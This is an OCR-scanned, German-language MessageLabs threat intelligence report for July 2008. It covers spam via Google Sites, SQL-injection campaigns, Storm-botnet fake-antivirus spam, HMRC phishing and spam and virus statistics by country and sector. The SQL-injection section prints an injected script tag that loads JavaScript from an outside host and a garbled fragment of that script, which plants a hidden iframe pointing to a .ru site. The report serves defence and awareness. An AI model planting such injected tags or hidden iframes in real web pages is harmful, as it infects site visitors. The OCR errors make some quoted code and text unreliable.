ﬁ ’ Messagelabs’ Be certain

Messagelabs Intelligence: Juli 2008

,Google-Sites wird zur neuesten Waffe der Spammer*

Herzlich willkommen zur neuesten Ausgabe des monatlichen Intelligence Reports von MessagelL abs.
In diesem Bericht informieren wir Sie Gber die aktuellen Gefahrentrends im Juli 2008, um Sie Uber die
Entwicklung von Bedrohungen durch Viren, Spam und andere unwillkommene Online-Inhalte auf dem
Laufenden zu halten.

Die chhtlgsten Ergebnisse im Uberblick
Spam — 75,1 Prozent im Juli (ein Rickgang um 1,4 Prozentpunkte gegeniber dem
Vormonat)
Viren — Eine von 148,2 E-Mails war im Juli mit einem Schadprogramm verseucht (ein
Ruckgang um 0,07 Prozentpunkte gegeniiber dem Juni)
Phishing — Hinter einer von 180,6 E-Mails verbarg sich der Versuch, persoénliche
Authentisierungsdaten auszuspionieren (ein Anstieg um 0,19 Prozentpunkte gegeniiber
dem Vormonat)
Spammer missbrauchen die neueste Google-Anwendung: Google Sites
Online-Gefahren nehmen als Folge vermehrter SQL-Injection-Angriffe ebenfalls zu. Pro Tag
wurden 3.968 neue Websites abgeblockt (ein Anstieg um 91 Prozentpunkte gegentber
Juni)
Eine zunehmende Zahl vom Storm-Botnet generierter Mails mit erfundenen Nachrichten zu
Prominenten in der Betreffzeile verleitet zur Installation von Spyware

Die Ergebnisse der Analysen im Einzelnen

Google Sites zum Hosting von Dating- und Medikament  en-Spam missbraucht

Im Juli fanden Spammer zunehmend Gefallen daran, die neueste Google-Anwendung, Google Sites,
fuir ihnre Zwecke zu missbrauchen. MessagelLabs fing Spam-Nachrichten ab, die Links zu
sites.google.com -Domains enthielten. Die Spammer nutzen kostenlose Google-Accounts, die sie
durch Uberlisten der CAPTCHA-Abfrage automatisch generieren, die sich noch Anfang des Jahres als
nitzliche MaRnahme zur Spam-Abwehr erwiesen hatte.

Zuvor hatten die Spammer bereits andere von Google gehostete Anwendungen zur Verbreitung ihrer
Nachrichten genutzt, und zwar Google Docs, Google Pages und Google Kalender. Eine spezielle
Spam-Technik erzeugte beispielsweise Spam-Seiten als Google-Docs, und anschlieRend wurden
Spam-Mails mit Links zu diesen Seiten versendet. Das Link-Ziel sah aus wie eine Spam-Website,
obwohl es in Wirklichkeit ein mit Google Docs erstelltes und fiir die Offentlichkeit freigegebenes
Dokument war. Diese Technik ist flir Spammer deshalb so vorteilhaft, weil sie herkémmlichen Spam-
Abwehrmechanismen erschwert, den Spam basierend auf der Link-Adresse zu blockieren, da diese
den Google-Domainnamen beinhaltet.

Auf ahnliche Weise ermdglicht die neueste der von Google kostenlos bereitgestellten Anwendungen,
Google Sites, selbst unerfahrenen Nutzern das einfache Erstellen Wiki-ahnlicher Seiten. Diese
Anwendung bietet Spammern den zusatzlichen Vorteil, dass sie URLs nutzen kdnnen, die fur



herkdmmliche, signaturbasierte Anti-Spam-Tools schwerer zu blockieren sind als z.B. die URLs von
Spam-Sites, die mit Google Pages erstellt werden und den Account-Namen beinhalten:
accountname.googlepages.com

Eine mit Google Sites generierte URL kann schwerer zu blockieren sein, wenn zum Beispiel der Site-
Name aus einer Kette scheinbar zufallig gewahlter Buchstaben und Zahlen besteht. Normalerweise
bilden Anwender ihre Site-Namen aus aussagekraftigen Begriffen oder ihren eigenen Account-Namen.
Die URLs der Google Sites, die in einigen Spam-Nachrichten aufgetaucht sind, sahen jedoch z.B. so
aus: http://sites.google.com/site/1lre3ct7[entfernt]/

Obwohl diese Methode bislang nur relativ selten verwendet wurde und fur nur ca. ein Prozent des
gesamten Spam-Aufkommens verantwortlich war, kénnte sie eine &hnliche Popularitat erlangen wie
die anderen Techniken zur Verbreitung von Spam (ber die kostenlosen Online-Dienste von Google.
Falls dies eintrifft, ist in den kommenden Monaten mit einem Anstieg des Spam-Aufkommens zu
rechnen.
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Ein Link zu der oben gezeigten Google Site wurde in Spam-Mails eingefiigt, wie in dem folgenden
Beispiel:
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Online-Gefahren nehmen aufgrund vermehrter SQL-Inje  ction-Angriffe weiterhin zu

Im Juli stieg die Anzahl der neuen Websites mit Schadcode, die pro Tag durchschnittlich abgeblockt
wurden, um 91 Prozentpunkte auf ein neues Rekordniveau. Im Durchschnitt wurden taglich 3.968
neue Sites gesperrt. Dieser starke Anstieg beruht auf der grol3en Anzahl von Websites mit Links zu
SQL-Injection-Angriffen, bei denen mit dem HTML-Tag <SCRIPT

SRC=http://www.[entfernt]/ngg.js /> veranlasst wird, dass bosartiger JavaScript-Code auf
den Rechner des Besuchers der Seite geladen wird.

Diese Tags sind zuvor in die SQL-Datenbank ,injiziert* worden, um Inhalte an die betroffene Seite zu
liefern — normalerweise durch eine Schwachstelle auf dem Webserver, wie in dem folgenden Beispiel
zu sehen ist:

sscript sre=httpz//vwww com/ngg.js></script><script src=http:/fwww L.mobi/ngg. js></script=<script sre=http://www.
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Die JavaScript-Datei ist auf einem anderen Server gehostet und wird durch die HTML-Script-Tags
eingeflgt, die durch den Client-Browser des Besuchers der Seite ausgefiihrt werden. In vielen Fallen
sind harmlose Sites ohne Wissen ihres Betreibers kompromittiert und zum Hosten des Schadcodes
missbraucht worden. Wie aus dem obigen Beispiel ersichtlich ist, wird der bésartige JavaScript-Code
auch auf Seiten mit der Top-Level-Domain .mobi gehostet, die fir Websites vorgesehen ist, auf denen
mobile Webservices fir Handheld-Gerate bereitgestellt werden.

Der folgende Screenshot zeigt ein Beispiel fir ein JavaScript, das von einem Browser ausgefuhrt
werden kodnnte, der eine infizierte Seite besucht:
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var cookieString = decument.cookie;

var start = cookieString. indexof("vigoo=");

if (start != -1){}else{

var expires = new Date();

expires.setTime(expires.getTime()+973606%1000);

document.cookie = "vlgoo-update;jexpires="+expires.toG@Tstring();

try{

document.write("<iframe src=http://n . ru/cgi-bin/index.cgi?ad width=6 height=0 frameborder=e></iframes”);

i)

catch(e)

{
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Das Hauptproblem bei dieser Art von Bedrohung ist, dass die Seite, die den Browser zum Download
des bdsartigen JavaScript-Codes veranlasst, eine an sich harmlose Seite ist, die jedoch kompromittiert
wurde, damit das JavaScript im Browser des Site-Besuchers ausgefiihrt wird. Dies erschwert es



Unternehmen, sich vor dem Eindringen von Malware in ihr Unternehmen durch Richtlinien zu
schiitzen, die einfach nur kontrollieren, auf welche Seiten die Anwender zugreifen dirfen.

Bei einem speziellen Angriff, der noch aktiv war, wahrend dieses Dokument verfasst wurde, konnte
das JavaScript-Tag durch eine einfache Google-Suche immer noch auf mehr als 850 Websites
gefunden wurden.

Storm-generierte Klatsch-Mails flihren zu betrtigeris cher Anti-Spyware

Kurz nach den Feierlichkeiten zum amerikanischen Unabhangigkeitstag am 4. Juli begann das Storm-
Botnet, per E-Mail ,Eilmeldungen” tiber eine von den USA angefihrte Invasion in den Iran zu
verbreiten. Die E-Mails beinhalteten Links zu der Storm-Malware, die sich als Videoaufnahme dieses
Ereignisses ausgab. Die Angriffe wurden hauptsachlich per E-Mail ausgefiihrt und hatten zum Ziel, die
Storm-Malware weiter zu verbreiten.

Ebenfalls im Juli gab es einen weiteren Spam-Angriff, der vom Storm-Botnet ausging und nicht nur
dadurch auffiel, dass die Betreffzeilen der versendeten E-Mails Giber Promi-Skandale oder sogar den
Tod von Prominenten berichteten. Ein weiteres einzigartiges Merkmal der Mails war, dass sie Links zu
Sites enthielten, die zur Installation eines neuen, betriigerischen Anti-Spyware-Programms auf dem
Computer des Opfers fiihrten. Haufig enthielten die Betreffzeilen auch Smileys wie z.B. ,:)" oder ,,;)".

Wenn die Empfanger die Links anklickten, wurde der Download einer Datei namens video.exe gestartet, die
das Programm ,Antivirus XP 2008“ auf dem Rechner des Opfers installierte. Dies ist ein neues,
betriigerisches Anti-Spyware-Programm, das ohne Eingreifen des Anwenders auf dessen Computer
installiert wird. Nach der Installation fihrt Antivirus XP 2008 einen Scan des Computers durch und zeigt
zahlreiche Infektionen an, die sich angeblich nur durch den Kauf der Software entfernen lassen.

Das erste Zeichen dafir, dass die betrigerische Anti-Spyware installiert wurde, war die Anzeige einer
Nachricht, in der mitgeteilt wurde, dass der Computer infiziert sein. Eine Lizenz der Software wird fir 49,95 £
(ca. 64 Euro) angeboten.

Die folgenden Screenshots zeigen diesen Vorgang auf einem kompromittierten Rechner:

Install an antivir: Ipyware remover to
clean your computer.

WinG2/RCBOLAAH  The IRCRoLAAH mahwar fanil s 2 goum of bot
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1) Die Datei video.exe wurde heruntergeladen. 2) Ein Spyware-Scan zeigt die gefundene Spyware an (hier bei
Die Nachricht erscheint nach wenigen Sekunden. einem Test auf einem frisch installierten Rechner!)




3) Eine weitere, ,offiziell aussehende” 4) Die Schlussphase — wie viel wird es kosten? Anm.: Der
Benachrichtigung Rechner wurde mit Einstellungen fur Grof3britannien installiert.

Weltweite Trends und Content-Analyse

Die Anti-Spam- und Anti-Viren-Dienste von MessagelLabs konzentrieren sich auf die Erkennung und
Abwehr unerwiinschter E-Mails, die aus unbekannten und zweifelhaften Quellen stammen und an
gultige E-Mail-Adressen gerichtet sind.

Spam-Schutz mit Skeptic™: Der Anteil von Spam am weltweiten, an giltige Empfanger adressierten
E-Mail-Verkehr aus neuen oder unbekannten Quellen belief sich im Juli 2008 auf 75,1 Prozent (oder 1
von 1,33 Mails). Das entspricht einem Riickgang um 1,4 Prozentpunkte gegeniiber dem Vormonat.
Weitere 5,8 Prozent des Spams konnte MessagelLabs mittels Traffic-Management anhand des Profils
bekannter Spam-Quellen abfangen. Ohne diese Kontrollen hétte die Quote sogar etwa 81,0 Prozent
betragen.
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Die Schweiz war mit einer Spam-Quote von 84,2 Prozent im Juli weiterhin das Land mit der héchsten
Spam-Belastung. Der gréf3te Anstieg des Spam-Aufkommens wurde in diesem Monat in den USA
beobachtet, wo die die Spam-Quote um 5,9 Prozentpunkte auf 79,8 Prozent stieg. Den starksten
Ruckgang verzeichnete Israel: Dort sank die Spam-Quote um 11 Prozentpunkte auf 69,1 Prozent.

Die Spam-Quoten in Grof3britannien und Kanada erreichten im Juli 69,9 bzw. 74,6 Prozent. In
Deutschland betrug die Spam-Quote 70,0 Prozent und in den Niederlanden stieg sie auf 70,6 Prozent.
In Australien lag die Spam-Quote bei 64,1 Prozent, in China bei 72,9 Prozent und in Japan bei 67,8
Prozent.

Das Spam-Aufkommen war im Juli in allen Branchen riicklaufig, mit Ausnahme des Non-Profit-
Sektors, in dem die Spam-Quote um 5,8 Prozentpunkte auf 82,2 Prozent anstieg. Den starksten



Ruckgang verzeichnete das Hotel- und Gaststattengewerbe, in dem die Spamquote um 3,6
Prozentpunkte auf 73,0 Prozent sank.

In der chemischen und pharmazeutischen Industrie betrug die Spam-Quote 72,6 Prozent, im
Einzelhandel 78,3 Prozent, im Offentlichen Sektor 72,4 Prozent und im Finanzsektor 68,5 Prozent.

Viren- und Trojaner-Abwehr mit Skeptic™:  Der Anteil der virenverseuchten E-Mails am weltweiten,
an giltige Empfanger adressierten E-Mail-Verkehr sank im Juli gegeniiber dem Vormonat um 0,07
Prozentpunkte auf 0,67 Prozent. Eine von 148,2 an giltige Empfangeradressen gerichteten E-Mails
aus neuen oder bislang unbekannten zweifelhaften Quellen war verseucht.

Drei Prozent der im Juli mit betriigerischer Absicht versendeten E-Mails enthielten Links zu Websites,
die Schadcode beherbergten. Dies bedeutet einen Riickgang um 17,3 Prozentpunkte gegeniiber dem
Vormonat. 7,2 Prozent dieser Links waren das Ergebnis der fortgesetzten Aktivitaten des Storm-
Botnets. Es gab einen Anstieg bei der Anzahl der E-Mails mit Links zu angeblichen virtuellen
GruRBkarten und Postkarten-Sites mit Schadcode, die im Juli 23,7 Prozent aller mit einem Schadcode-
Link versendeten E-Mails ausmachten. Im Juni waren dies nur 1,4 Prozent.

Weitere 33,2 Prozent solcher E-Mails wurden mit Links versendet, die zu einer Datei namens
video.exe fuhrten und haufig mit reiRerischen Betreffzeilen zu Prominenten oder internationalen
Nachrichten auf sich aufmerksam machten. Das Anklicken dieser Links fiihrte zum Download eines
betrligerischen Anti-Spyware-Programms. Auch diese Mails wurden vom Storm-Botnet versendet.
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Der grof3te Anstieg der Viren-Aktivitaten (um 0,48 Prozentpunkte) wurde in Kanada beobachtet. Eine
Viren-Quote von 1 zu 80,7 brachte das Land im Juli auf Platz drei der Viren-Charts.

In den USA betrug die Viren-Quote 1 zu 243,7 und in GroRbritannien 1 zu 110,3. In Deutschland lag
sie bei 1 zu 214,8. In Australien verzeichnete man eine Virenquote von 1 zu 303,1 und in Japan von 1
zu 378,6.

Die Viren-Quoten waren in den meisten Branchen im Juli ricklaufig. Den gréf3ten Anstieg der Viren-
Quote verzeichnete die Immobilienbranche, und zwar um 0,07 Prozentpunkte, was bedeutet, dass
eine von 135,4 E-Mails mit Malware verseucht war. Der gré3te Rickgang war im Hotel- und
Gaststattengewerbe zu beobachten. Dort sank die Viren-Belastung um 0,51 Prozent auf eine Quote
von 1 zu 69.

Die Viren-Quote betrug bei den IT-Dienstleistern 1 zu 158,7, im Einzelhandel 1 zu 176,6 und im
Finanzsektor 1 zu 198,8.

Phishing: Im Juli nahmen die Phishing-Aktivitdten um 0,19 Prozentpunkte gegeniber dem Vormonat
zu. Hinter einer von 180,6 E-Mails (0,55 Prozent) verbarg sich der Versuch, persénliche



Authentisierungsdaten auszuspionieren. Der Anteil von Phishing-Mails an allen per E-Mail verbreiteten
Gefahren einschlief3lich Viren und Trojanern stieg gegentiber dem Vormonat um 33,8 Prozentpunkte
auf 82,1 Prozent aller mit betriigerischer Absicht versendeten E-Mails, die MessagelLabs im Juli
abgefangen hat.
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Im Juli waren 6,7 Prozent der Phishing-Angriffe auf einen Anstieg der Aktivitaten zurtickzufihren, bei
denen angeblich von der britischen Finanzbehérde HM Revenue & Customs (HMRC) versendete E-
Mails die Empfanger zur Preisgabe ihrer Daten verleiten sollten. Die jingsten Angriffe werden
derselben Gruppe zugeschrieben, die vor einigen Monaten fir eine langere Angriffsserie gegen die
US-Steuerbehdrde Internal Revenue Service (IRS) verantwortlich war, sich dieses Mal jedoch auf
Empfanger-Domains in GroR3britannien konzentrierte.

Mit fast denselben Formulierungen wie bei den vorherigen IRS-Angriffen (tber die im MessagelLabs
Intelligence Report fur April 2008 berichtet wurde) wurde auch in den jingsten Phishing-Mails den
Empfangern mitgeteilt, dass sie eine Steuerriickzahlung bekommen kdnnten. Die Bilddatei mit dem
HMRC-Logo, das in den E-Mails verwendet wurde, war auf einer Gratis-Hosting-Site mit demselben
Account-Namen wie bei den IRS Phishing-Angriffen abgelegt.

Skeptic™ Web Security Services Version 2.0:  Werbung und Popups waren im Juli mit einem Anteil
von 44,5 Prozent (5,0 Prozentpunkte weniger als im Juni) die haufigsten Ausléser fur die
richtlinienbasierte Filterung, die Messagelabs fur seine Geschaftskunden durchfihrt.
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Die Analysen der Web Security-Aktivitaten zeigen, dass 83,4 Prozent des gesamten im Juli
abgefangenen, webbasierten Schadcodes neuer Herkunft waren. Hauptursache fur diese hohe Zahl ist
ein durch die weitere Zunahme der SQL-Injection-Angriffe begriindeter Anstieg der Anzahl von
Trojaner-Downloadern, die im Juli abgefangen wurden. Eine beachtliche Zunahme wurde auch bei den
webbasierten Trojanern verzeichnet, die das Ziel hatten, die Passworter von Online-Gamern zu



stehlen. Dies ist vielleicht ein Hinweis darauf, dass Cyberkriminelle diese virtuellen Welten fir
Geldwascheaktivitaten nutzen.

Auch bei den Sites, die Malware beherbergten, gab es eine starke Zunahme. MessagelLabs
identifizierte im Juli pro Tag durchschnittlich 3.968 neue Sites mit Malware sowie anderen potenziell
unerwiinschten Programmen wie Spy- und Adware: ein Anstieg um 91 Prozentpunkte seit Juni.

Uber die Gefahrenklasse ,Nicht klassifiziert* werden all jene neuen und bisher noch nicht eingestuften
Websites identifiziert, die moglicherweise zu sperren sind. In diese Kategorie wurden vier Prozent des
abgefangenen Web-Traffics eingestuft. Bei noch nicht eingeordneten Internetprasenzen ist wahrend
der laufenden Definition entsprechender Verarbeitungsregeln ein besonderes Maf3 an Vorsicht
geboten. Soeben als schadlich identifizierte Websites erfahren deshalb bis zu ihrer Kategorisierung
durch MessagelLabs eine erhéhte Aufmerksamkeit, um auch einen effektiven Schutz vor all jenen
Seiten zu gewahrleisten, die innerhalb eines Zeitfensters von 24 bis 48 Stunden auftauchen und
wieder verschwinden. Schlie3lich werden gerade solche Websites haufig fur kriminelle Zwecke genutzt
— zum Beispiel, um Phishing und Spamming zu betreiben, Spionage-Trojaner zu verbreiten oder
weitere arglistige Aktivitdten zu verfolgen. In diese Kategorie wurden im Juli 87,5 Prozent aller
abgefangenen Web-basierenden Viren und 38,2 Prozent der sonstigen Programme eingestuft, die wie
unter anderem Spy- und Adware wegen ihrer moglicherweise schadlichen Wirkung blockiert wurden.

Die folgende Grafik veranschaulicht die Zunahme neuer Viren und Trojaner sowie der Seiten mit Spy-
und Adware, die im Juli pro Tag durchschnittlich abgeblockt wurden. Nach einem geringfuigigen
Ruckgang im Vormonat hat sich die Anzahl der neuen Sites, die Malware beherbergen, im Juli mehr
als verdoppelt.
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Traffic Management

Anwendungen zum Management des E-Mail-Verkehrs senken weiterhin das Gesamtvolumen der
Ubermittelten Nachrichten durch Techniken, die auf Protokoll-Ebene aktiv sind. Dazu z&hlen Verfahren
zur Identifikation gesperrter Absender und zur gezielten Verlangsamung von Mail-Server-
Verbindungen tber Funktionen, die in das TCP-Protokoll eingebettet sind. Auf diese Weise erreichen
deutlich weniger bekannte Spam-Formen ihre Adressaten, wahrend die reibungslose Ubermittlung
aller zulassigen E-Mails gewahrleistet bleibt.

Im Juli 2008 hat Messagelabs durchschnittlich 3,0 Milliarden SMTP-Verbindungen pro Tag
verarbeitet. Von diesen wurden 23,5 Prozent im Zuge des Traffic-Managements und dessen Protokoll-
Monitorings gedrosselt, weil es sich um eindeutig schadlichen und unerwiinschten E-Mail-Verkehr

handelte. Vom ubrigen Web-Traffic getrennt, werden diese Verbindungen gezielt mit den Kontroll und
Steuerungsinstrumenten von Messagelabs Connection Management und MessagelLabs Skeptlc

verarbeitet.
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Verbindungs-Management

Das Verbindungs-Management erweist sich als ein sehr effektives Instrument, um insbesondere eine
Adressbucher-Plinderung, Brute-Force-Attacken und E-Mail-basierende Denial-of-Service-Angriffe zu
stoppen — also solche Hacker-Praktiken, bei denen unerwiinschte Massenmails ein Unternehmen
Uberfluten und auf diese Weise dessen Geschéftstatigkeit nachhaltig stéren sollen. Anwendungen fir
das Verbindungs-Management arbeiten auf SMTP-Ebene und nutzen Techniken, die Uberprifen,
inwieweit aufzubauende Mail-Server-Verbindungen tatsachlich erlaubt sind. Das Verfahren identifiziert
solche Quellen als offene Proxy-Speicher ebenso eindeutig wie als Botnet und weist dann im Falle des
Falles die Verbindungsabfrage entsprechend zuriick. Im Juli hat MessagelLabs auf diese Weise
durchschnittlich 54,2 Prozent aller eingehenden Mails abgefangen, da diese aus Botnets oder anderen
bekannten Schadprogramm-Quellen stammten.

Benutzerverwaltung

Die Benutzerverwaltung nutzt eine Adress-Priifung der registrierten Anwender, um die Gesamtmenge
an E-Mails zu reduzieren, die an registrierte Domains adressiert sind. Dazu verwirft das Verfahren alle
Verbindungen, die an ungultige oder nicht existierende Einzelempféanger gerichtet sind. Im Juli hat
Messagelabs so durchschnittlich 5,0 Prozent der Mails wegen ungiltiger Adressen abgefangen —
dahinter verbargen sich versuchte Directory-Attacken auf zuvor mittels Adress-Validierung geschitzte
Domains.

MessageLabs Intelligence

Messagelabs Intelligence geniel3t hohes Renommee fiir ein umfassendes Angebot an Daten und Analysen
zu Themen, Trends und Statistiken rund um die Sicherheit von Messaging-Anwendungen. MessagelLabs
Uberprift taglich mehr als 3 Milliarden E-Mails und eine Milliarde Web-Anfragen und erfasst tiber Kontroll-
Punkte in aller Welt fortwahrend Live-Daten, um seinen Kunden umfangreiche Informationen tber aktuelle
Bedrohungen bereitstellen zu kénnen.
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Sofern nicht anders vermerkt, beziehen sich die in diesem Bericht enthaltenen Informationen zu den
Diensten von Messagelabs auf Daten, die das Unternehmen intern erfasst hat.

Weitergehende Informationen zu Messagelabs Intelligence und den bereitgestellten Analysen zur Online-
Sicherheit finden sich im Internet unter: www.messagelabs.com/intelligence

Anmerkung: Alle Zahlen in diesem Bericht waren zum Zeitpunkt der Drucklegung korrekt.

Messagelabs ist ein filhrender Anbieter von integrierten Managed Services fiir die Messaging- und Web-
Sicherheit. Bereits mehr als 18.000 Kunden aus 86 Landern greifen auf die Dienste des Security-Spezialisten
zuriick — angefangen von Kleinunternehmen bis hin zu Konzernen aus dem Kreis der Fortune 500. Das Portfolio
von Messagelabs umfasst eine Vielzahl von verwalteten IT-Sicherheits-Services, um die Kommunikation via E-
Mail, Web und Instant Messaging zu schiitzen, zu kontrollieren, zu verschliisseln und zu archivieren.

Alle Dienste werden von Messagelabs Uber eine weltweit verteilte Infrastruktur bereitgestellt. Dartber hinaus
kommen Kunden in den Genuss eines rund um die Uhr verfiigbaren Supports durch ausgewiesene
Sicherheitsexperten. Dies gewéhrleistet eine besonders komfortable und kosteneffiziente Mdglichkeit, die Risiken
durch Online-Gefahren systematisch zu minimieren und sich beim Austausch von Geschéftsinformationen vor
unliebsamen Uberraschungen zu feien. Detaillierte Informationen liefert die Website des Unternehmens unter:
http://www.messagelabs.com.
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